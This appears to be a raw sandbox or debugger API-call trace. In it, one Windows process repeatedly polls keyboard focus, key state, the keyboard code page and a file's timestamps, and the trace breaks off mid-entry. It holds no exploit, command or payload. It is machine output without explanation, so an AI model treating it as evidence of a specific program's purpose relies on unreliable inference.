[0258.488] GetFocus () returned 0x0 [0258.488] GetAsyncKeyState (vKey=58) returned 0 [0258.488] GetKBCodePage () returned 0x1b5 [0258.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.488] GetFocus () returned 0x0 [0258.488] GetAsyncKeyState (vKey=58) returned 0 [0258.488] GetKBCodePage () returned 0x1b5 [0258.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.488] GetFocus () returned 0x0 [0258.488] GetAsyncKeyState (vKey=58) returned 0 [0258.488] GetKBCodePage () returned 0x1b5 [0258.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.488] GetFocus () returned 0x0 [0258.488] GetAsyncKeyState (vKey=58) returned 0 [0258.488] GetKBCodePage () returned 0x1b5 [0258.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.488] GetFocus () returned 0x0 [0258.488] GetAsyncKeyState (vKey=58) returned 0 [0258.488] GetKBCodePage () returned 0x1b5 [0258.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.489] GetFocus () returned 0x0 [0258.489] GetAsyncKeyState (vKey=58) returned 0 [0258.489] GetKBCodePage () returned 0x1b5 [0258.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.489] GetFocus () returned 0x0 [0258.489] GetAsyncKeyState (vKey=58) returned 0 [0258.489] GetKBCodePage () returned 0x1b5 [0258.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.489] GetFocus () returned 0x0 [0258.489] GetAsyncKeyState (vKey=58) returned 0 [0258.489] GetKBCodePage () returned 0x1b5 [0258.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.489] GetFocus () returned 0x0 [0258.489] GetAsyncKeyState (vKey=58) returned 0 [0258.489] GetKBCodePage () returned 0x1b5 [0258.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.489] GetFocus () returned 0x0 [0258.489] GetAsyncKeyState (vKey=58) returned 0 [0258.489] GetKBCodePage () returned 0x1b5 [0258.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.489] GetFocus () returned 0x0 [0258.489] GetAsyncKeyState (vKey=58) returned 0 [0258.489] GetKBCodePage () returned 0x1b5 [0258.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.489] GetFocus () returned 0x0 [0258.489] GetAsyncKeyState (vKey=58) returned 0 [0258.489] GetKBCodePage () returned 0x1b5 [0258.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.489] GetFocus () returned 0x0 [0258.490] GetAsyncKeyState (vKey=58) returned 0 [0258.490] GetKBCodePage () returned 0x1b5 [0258.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.490] GetFocus () returned 0x0 [0258.490] GetAsyncKeyState (vKey=58) returned 0 [0258.490] GetKBCodePage () returned 0x1b5 [0258.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.490] GetFocus () returned 0x0 [0258.490] GetAsyncKeyState (vKey=58) returned 0 [0258.490] GetKBCodePage () returned 0x1b5 [0258.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.490] GetFocus () returned 0x0 [0258.490] GetAsyncKeyState (vKey=58) returned 0 [0258.490] GetKBCodePage () returned 0x1b5 [0258.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.490] GetFocus () returned 0x0 [0258.490] GetAsyncKeyState (vKey=58) returned 0 [0258.490] GetKBCodePage () returned 0x1b5 [0258.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.490] GetFocus () returned 0x0 [0258.490] GetAsyncKeyState (vKey=58) returned 0 [0258.490] GetKBCodePage () returned 0x1b5 [0258.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.490] GetFocus () returned 0x0 [0258.490] GetAsyncKeyState (vKey=58) returned 0 [0258.490] GetKBCodePage () returned 0x1b5 [0258.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.490] GetFocus () returned 0x0 [0258.490] GetAsyncKeyState (vKey=58) returned 0 [0258.490] GetKBCodePage () returned 0x1b5 [0258.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.490] GetFocus () returned 0x0 [0258.490] GetAsyncKeyState (vKey=58) returned 0 [0258.490] GetKBCodePage () returned 0x1b5 [0258.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.491] GetFocus () returned 0x0 [0258.491] GetAsyncKeyState (vKey=58) returned 0 [0258.491] GetKBCodePage () returned 0x1b5 [0258.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.491] GetFocus () returned 0x0 [0258.491] GetAsyncKeyState (vKey=58) returned 0 [0258.491] GetKBCodePage () returned 0x1b5 [0258.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.491] GetFocus () returned 0x0 [0258.491] GetAsyncKeyState (vKey=58) returned 0 [0258.491] GetKBCodePage () returned 0x1b5 [0258.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.491] GetFocus () returned 0x0 [0258.491] GetAsyncKeyState (vKey=58) returned 0 [0258.491] GetKBCodePage () returned 0x1b5 [0258.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.491] GetFocus () returned 0x0 [0258.491] GetAsyncKeyState (vKey=58) returned 0 [0258.491] GetKBCodePage () returned 0x1b5 [0258.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.491] GetFocus () returned 0x0 [0258.491] GetAsyncKeyState (vKey=58) returned 0 [0258.491] GetKBCodePage () returned 0x1b5 [0258.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.491] GetFocus () returned 0x0 [0258.491] GetAsyncKeyState (vKey=58) returned 0 [0258.491] GetKBCodePage () returned 0x1b5 [0258.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.491] GetFocus () returned 0x0 [0258.491] GetAsyncKeyState (vKey=58) returned 0 [0258.491] GetKBCodePage () returned 0x1b5 [0258.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.491] GetFocus () returned 0x0 [0258.491] GetAsyncKeyState (vKey=58) returned 0 [0258.491] GetKBCodePage () returned 0x1b5 [0258.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.492] GetFocus () returned 0x0 [0258.492] GetAsyncKeyState (vKey=58) returned 0 [0258.492] GetKBCodePage () returned 0x1b5 [0258.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.492] GetFocus () returned 0x0 [0258.492] GetAsyncKeyState (vKey=58) returned 0 [0258.492] GetKBCodePage () returned 0x1b5 [0258.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.492] GetFocus () returned 0x0 [0258.492] GetAsyncKeyState (vKey=58) returned 0 [0258.492] GetKBCodePage () returned 0x1b5 [0258.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.492] GetFocus () returned 0x0 [0258.492] GetAsyncKeyState (vKey=58) returned 0 [0258.492] GetKBCodePage () returned 0x1b5 [0258.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.492] GetFocus () returned 0x0 [0258.492] GetAsyncKeyState (vKey=58) returned 0 [0258.492] GetKBCodePage () returned 0x1b5 [0258.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.492] GetFocus () returned 0x0 [0258.492] GetAsyncKeyState (vKey=58) returned 0 [0258.492] GetKBCodePage () returned 0x1b5 [0258.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.492] GetFocus () returned 0x0 [0258.492] GetAsyncKeyState (vKey=58) returned 0 [0258.492] GetKBCodePage () returned 0x1b5 [0258.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.492] GetFocus () returned 0x0 [0258.492] GetAsyncKeyState (vKey=58) returned 0 [0258.492] GetKBCodePage () returned 0x1b5 [0258.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.492] GetFocus () returned 0x0 [0258.492] GetAsyncKeyState (vKey=58) returned 0 [0258.492] GetKBCodePage () returned 0x1b5 [0258.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.493] GetFocus () returned 0x0 [0258.493] GetAsyncKeyState (vKey=58) returned 0 [0258.493] GetKBCodePage () returned 0x1b5 [0258.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.493] GetFocus () returned 0x0 [0258.493] GetAsyncKeyState (vKey=58) returned 0 [0258.493] GetKBCodePage () returned 0x1b5 [0258.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.493] GetFocus () returned 0x0 [0258.493] GetAsyncKeyState (vKey=58) returned 0 [0258.493] GetKBCodePage () returned 0x1b5 [0258.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.493] GetFocus () returned 0x0 [0258.493] GetAsyncKeyState (vKey=58) returned 0 [0258.493] GetKBCodePage () returned 0x1b5 [0258.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.493] GetFocus () returned 0x0 [0258.493] GetAsyncKeyState (vKey=58) returned 0 [0258.493] GetKBCodePage () returned 0x1b5 [0258.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.493] GetFocus () returned 0x0 [0258.493] GetAsyncKeyState (vKey=58) returned 0 [0258.493] GetKBCodePage () returned 0x1b5 [0258.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.493] GetFocus () returned 0x0 [0258.493] GetAsyncKeyState (vKey=58) returned 0 [0258.493] GetKBCodePage () returned 0x1b5 [0258.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.493] GetFocus () returned 0x0 [0258.493] GetAsyncKeyState (vKey=58) returned 0 [0258.493] GetKBCodePage () returned 0x1b5 [0258.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.493] GetFocus () returned 0x0 [0258.493] GetAsyncKeyState (vKey=58) returned 0 [0258.493] GetKBCodePage () returned 0x1b5 [0258.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.493] GetFocus () returned 0x0 [0258.494] GetAsyncKeyState (vKey=58) returned 0 [0258.494] GetKBCodePage () returned 0x1b5 [0258.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.494] GetFocus () returned 0x0 [0258.494] GetAsyncKeyState (vKey=58) returned 0 [0258.494] GetKBCodePage () returned 0x1b5 [0258.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.494] GetFocus () returned 0x0 [0258.494] GetAsyncKeyState (vKey=58) returned 0 [0258.494] GetKBCodePage () returned 0x1b5 [0258.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.494] GetFocus () returned 0x0 [0258.494] GetAsyncKeyState (vKey=58) returned 0 [0258.494] GetKBCodePage () returned 0x1b5 [0258.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.494] GetFocus () returned 0x0 [0258.494] GetAsyncKeyState (vKey=58) returned 0 [0258.494] GetKBCodePage () returned 0x1b5 [0258.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, 